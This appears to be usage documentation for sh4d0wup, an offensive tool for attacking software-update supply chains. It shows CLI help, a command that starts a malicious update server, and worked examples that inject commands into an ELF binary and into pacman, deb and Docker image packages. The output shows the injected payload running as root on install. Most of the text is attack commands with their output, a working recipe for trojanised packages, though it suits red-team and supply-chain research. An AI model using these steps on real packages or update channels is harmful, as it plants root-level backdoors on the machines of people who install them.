```
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS]
Commands: bait Start a malicious update server infect High level tampering, inject additional commands into a package tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution keygen Generate signing keys with the given parameters sign Use signing keys to generate signatures hsm Interact with hardware signing keys build Compile an attack based on a plot check Check if the plot can still execute correctly against the configured image completions Generate shell completions help Print this message or the help of the given subcommand(s)
Options: -v, --verbose... Turn debugging information on -h, --help Print help information ```
Some plots are more complex to run than others, to avoid long startup time due to downloads and artifact patching, you can build a plot in advance. This also allows to create signatures in advance.
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
This spawns a malicious http update server according to the plot. This also accepts yaml files but they may take longer to start.
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
You can find examples here:
sh4d0wup infect elf```
% RUST_LOG=warn sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS]
Commands: bait Start a malicious update server infect High level tampering, inject additional commands into a package tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution keygen Generate signing keys with the given parameters sign Use signing keys to generate signatures hsm Interact with hardware signing keys build Compile an attack based on a plot check Check if the plot can still execute correctly against the configured image completions Generate shell completions help Print this message or the help of the given subcommand(s)
Options: -v, --verbose... Turn debugging information on -h, --help Print help information ```
sh4d0wup infect pacman``` % sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x8664.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x8664.pkg.tar.zst [2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch... % sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst loading packages... resolving dependencies... looking for conflicting packages...
Packages (1) sh4d0wup-0.2.0-2
Total Installed Size: 13.36 MiB Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n] (1/1) checking keys in keyring [#######################################] 100% (1/1) checking package integrity [#######################################] 100% (1/1) loading package files [#######################################] 100% (1/1) checking for file conflicts [#######################################] 100% (1/1) checking available disk space [#######################################] 100% :: Processing package changes... (1/1) upgrading sh4d0wup [#######################################] 100% uid=0(root) gid=0(root) groups=0(root) :: Running post-transaction hooks... (1/2) Arming ConditionNeedsUpdate... (2/2) Notifying arch-audit-gtk ```
sh4d0wup infect deb
% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
ca-certificates
The following packages will be upgraded:
apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...
sh4d0wup infect oci
% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop) CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world